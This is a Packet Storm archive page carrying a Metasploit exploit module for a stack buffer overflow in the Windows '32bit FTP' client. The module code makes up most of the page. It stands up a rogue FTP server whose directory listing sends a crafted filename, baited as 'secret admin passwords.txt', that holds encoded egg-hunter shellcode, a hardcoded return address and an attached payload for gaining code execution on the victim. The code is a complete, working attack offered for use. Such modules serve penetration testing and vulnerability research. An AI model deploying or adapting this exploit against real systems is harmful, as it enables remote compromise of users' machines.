exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

32bit FTP Client Stack Buffer Overflow

32bit FTP Client Stack Buffer Overflow
Posted Oct 13, 2010
Authored by corelanc0d3r, fancy | Site metasploit.com

This Metasploit module exploits a stack buffer overflow in 32bit ftp client, triggered when trying to download a file that has an overly long filename.

tags | exploit, overflow
SHA-256 | 12a0acd3b85279ca0f783e238d8bda5078df822aab5d81ee1c2c190dce51d449

32bit FTP Client Stack Buffer Overflow

Change Mirror Download
##
# $Id: 32bitftp_list_reply.rb 10658 2010-10-12 17:31:18Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

class Metasploit3 < Msf::Exploit::Remote

include Msf::Exploit::Remote::FtpServer

def initialize(info = {})
super(update_info(info,
'Name' => '32bit FTP Client Stack Buffer Overflow ',
'Description' => %q{
This module exploits a stack buffer overflow in 32bit ftp client, triggered when trying to
download a file that has an overly long filename.
},
'Author' =>
[
'fancy', # found the bug
'corelanc0d3r' # helped writing this module
],
'License' => MSF_LICENSE,
'Version' => "$Revision: 10658 $",
'References' =>
[
[ 'URL', 'http://www.corelan.be:8800/index.php/2010/10/12/death-of-an-ftp-client/' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Payload' =>
{
'BadChars' => "\x00\xff\x0a",
},
'Platform' => 'win',
'Targets' =>
[
[ 'XP Universal', { 'Offset' => 259, 'Ret' => 0x004393ED } ], #RETN 32bitftp.exe
],
'Privileged' => false,
'DisclosureDate' => 'Oct 12 2010',
'DefaultTarget' => 0))

end

def setup
super
end

def on_client_unknown_command(c,cmd,arg)
c.put("200 OK\r\n")
end


def on_client_command_list(c,arg)
code = 150
c.put("#{code} OK.\r\n")
code = 226
c.put("#{code} Directory ok.\r\n")

conn = establish_data_connection(c)
if(not conn)
c.put("425 Can't build data connection\r\n")
return
end
print_status(" - Data connection set up")

filename = "\x02" #prevent crash
filename << "secret admin passwords.txt" #se = \x73\x65 = jump forward, over filename, to hunter
filename << " " * 77
#custom encoded egg hunter
filename << "\x89\xe2\xda\xd6\xd9\x72\xf4\x58\x50\x59\x49\x49\x49\x49\x49"
filename << "\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a"
filename << "\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32"
filename << "\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49"
filename << "\x45\x36\x4b\x31\x4a\x6a\x49\x6f\x44\x4f\x42\x62\x50\x52\x43"
filename << "\x5a\x45\x52\x46\x38\x48\x4d\x44\x6e\x45\x6c\x45\x55\x43\x6a"
filename << "\x50\x74\x4a\x4f\x4d\x68\x43\x47\x44\x70\x46\x50\x43\x44\x4e"
filename << "\x6b\x4b\x4a\x4c\x6f\x43\x45\x49\x7a\x4c\x6f\x44\x35\x4a\x47"
filename << "\x4b\x4f\x4d\x37\x41\x41"
filename << " " * (target['Offset']-filename.length)

addr1 = "\x40\x60\x3A\x76" # RW imm32.dll
addr2 = "\x44\x54\x48\x00" # data section 32bitftp.exe
addr3 = [target.ret].pack('V') # b00m !

strfile = filename
strfile << addr3
strfile << addr2
strfile << addr1
strfile << "w00tw00t"
strfile << payload.encoded

print_status(" - Sending directory list via data connection")
dirlist = "-rw-rw-r-- 1 1176 1176 1060 Apr 23 23:17 #{strfile}.bin\r\n\r\n"
conn.put(dirlist)
conn.close
print_status(" - LIST sent, wait for user to double click file...")
return
end

end

Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    0 Files
  • 5
    Sep 5th
    0 Files
  • 6
    Sep 6th
    0 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    0 Files
  • 9
    Sep 9th
    0 Files
  • 10
    Sep 10th
    0 Files
  • 11
    Sep 11th
    0 Files
  • 12
    Sep 12th
    0 Files
  • 13
    Sep 13th
    0 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    0 Files
  • 17
    Sep 17th
    0 Files
  • 18
    Sep 18th
    0 Files
  • 19
    Sep 19th
    0 Files
  • 20
    Sep 20th
    0 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close